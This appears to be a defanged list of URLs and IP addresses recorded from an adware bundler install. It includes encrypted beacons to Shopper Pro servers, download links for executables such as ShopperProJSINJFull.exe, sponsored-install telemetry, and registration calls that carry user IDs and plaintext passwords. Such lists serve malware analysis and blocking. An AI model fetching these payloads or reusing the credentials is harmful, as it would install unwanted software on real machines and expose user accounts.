hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPkRZoIKlaIquCmF904v4t2Dq2VCTtgY9vzjJTf12l608veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLFRl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLcTbA5p8qsFI=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPkRGT FmTEtcdCUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1AXIYVODptJgeXtKxW7QQ3aW2hPuTjVc 5v9Yrimx5Zd4NM7ovYotceRgwXWwUv3w==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VAhTD7v1xeC59AEINFij/sY4G r 3F6T7IPcRS MHsojG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3iIi3sWxwTIib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtrPTvgsJSa5g	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7pvV2oKfdHnDhfQ9MGNT8i7OXLse4BafTbQC nVTu53mZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/uVL3Gu9UwvVR5AawbKoxp11TCyTpFsxTEHEcozhy4EYCpHZc9ZUaH6/88N5jCoINCUHeR8YCF3WlDTfn6Wm6lW0Hx6tEFQQ5PDJexsDUHtBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLUBchhU4Om0mB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1x5GDBdbBS/f	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yv gjKfKdz3qVWyif 2VH4gFagtWkIz2ITe2QtDpLn MGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSpnkjtuKARPGXTfiLzWqxDYMDrRWNb/a uWvc1ERSY/LSnPGlduzOkM=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yuz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YPT/CRzrsOCIBN0OSM ZbEuhOeBVpsxK34gGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgVVh b/pIQAfYmlyZEPVghB7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/13203.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGKwCI49GtT1NdRCa5jj7dUzI0IkF1yg1LMTNAagX5zbhCn64 sLiuL8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfeIiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2s9O CwlJrmA=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/13203.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGKwCI49GtT1NdRCa5jj7dUzI0IkF1yg1L7vGpx 8MAwfO/2zfBH9AMNAILVLRmoPT94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsVGXytAW0YTvpFBfC/1GFX1sFx0Ai5knupjdibKIr9AtxNsDmnyqwUg==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/sense9.exe
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/iweb.exe
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yv gjKfKdz3qVWyif 2VH4gFagtWkIz2IQ1UJPIGN74Y3E56ZloiYwMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G YtdRCa5jj7dUzI0IkF1yg1L7vGpx 8MAwfaYKixoj2LBAmGZxYlIxDzQtYQnxeUKu9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD	198.232.124.192
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.7017017829450571
hxxp://65.255.35.144/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en
hxxp://54.230.230.59/infv5/index/3428/bnd
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.5323607351058053
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=b1dRW7RxYKceWuDhZt9/CTnTXm9lqpoPFqeO6RGQSqRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bR2XkhF1/FgPl034i81qsQ2DA60VjW/2vrlr3NREUmPy0h4J3KLaHkP1JJpRAUOpYSeY/e3xqcYN 0IDYQpyRV/PiOnW5vVoDRWOvghCBTr/TdVMo67fxO0s IILilpWF0vmoXMQKU1KjfsnOwcx38c5cTVde5qgIkYCor5gOiS8GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSpnkjtuKARPGXTfiLzWqxDYMDrRWNb/a uWvc1ERSY/LSnPGlduzOkM=	198.232.124.192
hxxp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak	54.230.230.59
hxxp://65.255.35.144/v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,2
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=A3ANzFv7fWAOe2V62UQmjlPJMnQ/271vtwaYA5cXz78Qyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybFlHkOrHfnXJ0js0 pge/oATxIUcsgQ wfJnh8VDEgRRaGTHNblQCKMTtamInV1z8CfoxGMR8UV/G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3iIi3sWxwTIib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtrPTvgsJSa5g	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGjnTXm9lqpoPcBL23M4DDdT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJpmSz7MK9wqwpAgmFZ8TcSCCUIfM57ZHpHixPWBkhqF2M/kHgvislIrVX/EPqwe9CwGEQqEL5v9HCOZtFDRBBDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8v0UNdTnuKmklYt96j8Hn3PgGUqUYly4OA=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zXY n Drgf83FPJMnQ/271vEVgCodG2LeMSZTerw9Y85dVUaX7QH4byNJ0yl9harBTd/8qR7NRZyEWXsxYLivI5 nOpVZucHTNgKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F2Z5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy17dj4syS4HAgNLtxmH87yb9z850gZbOoER7QD6yMSTpBI/0TPa8MV/vGXsyNILdq6t9GbH/wnaf3AtLPqBYAg4fnTdJhi/F jqL/OPRls1am988pbBE198Bbak1i16fYytqnU4k0fribeIhZIOGE9621TzruYcSjozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPromcJGcOHNXAHl6w3H159Q==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGjnTXm9lqpoPcBL23M4DDdT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJpmSz7MK9wqwpAgmFZ8TcSCCUIfM57ZHmCArG4HtKvdX1gPBPGd4Gf2NRySioDRRu BYVCPaRxXmR20K7N 67BZCfXvnwd9Ikg LruF0zoHZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ1Rl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLMprsE/ NOdRCn qX4FpTdffopz0y2Q7Y	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=VUrHHbcUIneidLNtGGzWYUa8V 0ybS3wTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPetsI0mntI6VjolwfyDMN5U4/6hlTTVOzU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX IiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2S8kAwCWYRnfH/jy8G4FGJY4SiD403Los	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=VUrHHbcUIneidLNtGGzWYUa8V 0ybS3wTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPetsI0mntI6VjolwfyDMN5U4/6hlTTVOz lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDYSn/GEjHBJE7xKwR3W9AY9/CpuCTIAF0=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Bla1gpvbWwCt 9hOzZQLUFUKuBb Jos32YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrTnlytR4CrxDYz6TqdGojBJNNUvuLmMe4Ux F4bfPOR0nYBfPcNQB96JUqayHJ5ShmDwm9U8stHwyKW2q8nI5uATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdCsmHfGSMYXkzto5FeRYZjTILRMK0uPbozNdYoFk7JaOSub7kXmhLMy1Et s6xdKMwfJKZ4NCKSCQ==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=VUrHHbcUIneidLNtGGzWYUa8V 0ybS3wTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPetsI0mntI6VjolwfyDMN5U4/6hlTTVOz lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPyLLA1jov 552zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQFKvbxhXJ8 DxJ w6ryxW8=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=oE Olq3N8DI5015vZaqaD3AS9tzOAw3U 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SaZks zCvcKsKQIJhWfE3EgglCHzOe2R6fD5PY7X0q xis2OOc4tTp1sgfHgwJGopMjaP02 pNDljtKNJXIFNsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ1Rl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLMprsE/ NOdRCn qX4FpTdffopz0y2Q7Y	173.239.4.105
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=	173.239.4.56
hxxp://rep.shopper-pro.com/app/ping.ashx?e=GFrjZskQvqOidLNtGGzWYafeYUWHDjJusTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzmZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii12p0t5IVVltxSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXj4lLgnAn9XR9g5TXL9gg1EQg JX2MctVxds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5XkBjOSgDRKHQ==	173.239.4.105
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=c2mW1WEUbCGidLNtGGzWYUmfPxKtzbEM1VMaOJFqXYpm5LT87ehXaouB5vT09TkZU415VydB1BnpFBfC/1GFX1sFx0Ai5knupjdibKIr9As4ou3K/BuTrriKIFo3W8f23Wq7IsWCDz6EFBpfj8N9vXZWIHhdOu4n31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o1PGi1jiMiVB/GFq7jeHujNOMHCwUiLtt2M k6nRqIwQzvRP dcw0L2ywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS vn9 i6URlkw5E7fTGofcC5QZBn7pcY5RssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/IQLjT49fHfOTOVXkkreqF3Gt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDR7aZQiBWc6vgrcPmxD60MqLImbABPmQj7Xmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OmSWf0W4lRoPDP1yr lfqu3a5OEmrbJtlEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQrJh3xkjGF5M7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMnziCp3eHePcHySmeDQikgk=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/IQLjT49fHfOTOVXkkreqF3Gt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDR7aZQiBWc6vgrcPmxD60MqLImbABPmQj7Xmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OmSWf0W4lRoPNIgdrQcZ7S7h1a7V4caBKqoNDoiIkn3W3mGs6iThnVH2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gZnkjtuKARPGXTfiLzWqxDYMDrRWNb/a uWvc1ERSY/L9FDXU57ippIo3Gv nP8wmYBlKlGJcuDg	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=9OTdpoOUy6g5015vZaqaD9MOLLVkakX/ 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SaZks zCvcKsKQIJhWfE3EgglCHzOe2R66OCENySf/GC36WmHMFF47psrZDsYYadbOj/D8d98sTJIE6m2lhk6FB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDYSn/GEjHBJAODVeEYVPS89/CpuCTIAF0=	173.239.4.105
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=QgW8pN5r26ZQhScA1jb3T83pm3/PWZt17OXLse4BafTbQC nVTu53mZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/uVL3Gu9UwvVR5AawbKoxp11TCyTpFsxf/e2L4omH5cWLazpewXw1hfOKWYd4uGNAB/MXM5vy8Es IILilpWF0R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilWoc/aBGrmt04td6Rt2cx8sFsK7/Ya3qp3H4CQmKwMH4mSX0slVqEAn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxUZfK0BbRhO kUF8L/UYVfWwXHQCLmSe6mN2Jsoiv0C3E2wOafKrBS	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=KC46TpkJIZzYLhsRuGeUaa372E7NlAtQKW60GVA2gEGMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK82 hGV09zVjKib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtiapYc0LFxbdUeZLRmueCpr 7rPtSKe/ Nh2N9SXtw5amUOTLbsQW9Sa2dF0VKZsa4Q2/MQzLTqMBPEhRyyBD7A7Ux5MSUiBG6zbMzc4pOx2GGp9MstS3cDTDTdslR3ozlOtip/TjZswqBmTALOU7ah2wY9krKeIwcv4S/K6mfkWhIAbznvPq9LAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZQ8RyywzcfoHBwwa3T8ODYmcP7mQZ22oNj/q7W eRuIgzcPe3ThP39Y=	198.232.124.192
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1	173.239.4.56
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/9875.ashx?e=obiBp3WOda9tb/LgACKPGjnTXm9lqpoP6uT6llPaTG5AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxplhwMxml5UbmCbODR/403IDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0cHe5KQnbNqauE5N3JZkYwGD3h9gcT/r2iwEbfeVtNep9AGHLpPN9ds1xCWBfcznTYJpucY5gZaR711If7ZLdKSAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBTCpzrlNQN2/88/XPfhk4uBVWH5v khAB/rLvdMRg3M8UIMSUB/WnfCYlE4r6SV1bgnpuUIFlUf/q9nRDQDvVPIbkzfW5e8SMoSwi5wjSM7k5gIbV/f4x41WZp344hS/KOk6Y9dcrOVdNhnx1XeF3x0z9qiGPQGY8O 5AGGZP7FBa7xmZcVNq0wnVkWlZB8ovw3CPLf8b4I75fXsvf3TFg8fqly8nEySaAKL7C0ljy8DVDkvehx3v8Z2YT0WtEYDnx3vJXGCvYW0 O7WwXv/u8s2EM5jTZ 7fM8gLir8XlLSS2R299lcn5okIq4Qmm3AUQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/9875.ashx?e=M7A8vgjJHrit /KxvF2yas3pm3/PWZt17OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDcrKE3Uv4Cvg Lt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/32062.ashx?e=NdvkYMTo1KuidLNtGGzWYUmfPxKtzbEM1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/YjEtyH551f3QZEFRPhzYVXf1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv/jLj1QsAUMm T/icuQB LEOpmbziZmW1eQRE0cF7lrf/k6YQPAn cmB5nIkMjph0BJ7ytXtOq9SKV0xCpDcC6ECkfAR9QM72jz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiTPEXbtvYnN3qmqBW5XL7l9IYL8x1ybsb4FXLrRIVqTq10EZsxP4trEIkQsYPNggSlJQe0vxDLEzDsdDpQ6tGYWyi3WOveHTxm7k0HmXcf88Sy wW7Vv/w4xBfpeCLMatvuksb7LC7IaCnTaHRnGMLB0lcfia15nl0eFK1c7Xfl6fqJvtbGSe/nXBYmj vXd E7kNQwB4lhRWxdc2tTwxuylfDB3e3gQ 62ls PLHCLAiYA14BsUXG3T8yBNq2sRxCVpHDePMpxXW5lnk56ZrbzLXG8vRwSIBeLTSE/VuVWrYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/32062.ashx?e=N6dOqWm8Q95rOakOyNRzsD0Z7sea5zO kgUNbeseC9P8ln8Iap23//2TEkHeJNDUga zuhV9q9EmwjbtKxeaO7jE5q6KYAnnn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC46TpkJIZznGREG7sgANznTXm9lqpoP0w4stWRqRf/7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJpmSz7MK9wqwpAgmFZ8TcSCCUIfM57ZHiTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvVPHbLV9CfBu9qbCRwRBKA7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8v0UNdTnuKmkijca/6c/zCZgGUqUYly4OA=	173.239.4.105
hxxp://65.255.35.143/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1	173.239.4.56
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=	173.239.4.56
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC52kqqAunCt 9hOzZQLUD kCFg8l4pj2YTeaOaZJPFysSIQM/WMqtGQDVZU32tJqokWMN8GCQ/ZKuiB0ryxZL6vs2JJATJ04VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjygHsQ0eMPBZENo9/0ma3IeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa5BQwiQopi7LzbANYrsS2gTtzAGhxGYFG	173.239.4.105
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1	173.239.4.56
hxxp://rep.shopper-pro.com/app/ping.ashx?e=emKxDesqhYc5015vZaqaDwiWd9ggjWY2 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SaZks zCvcKsKQIJhWfE3EgglCHzOe2R4kyeawv50oOJw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj8iywNY6L/ueds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5XWQ10mKav51A8SfsOq8sVv	173.239.4.105
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1	173.239.4.56
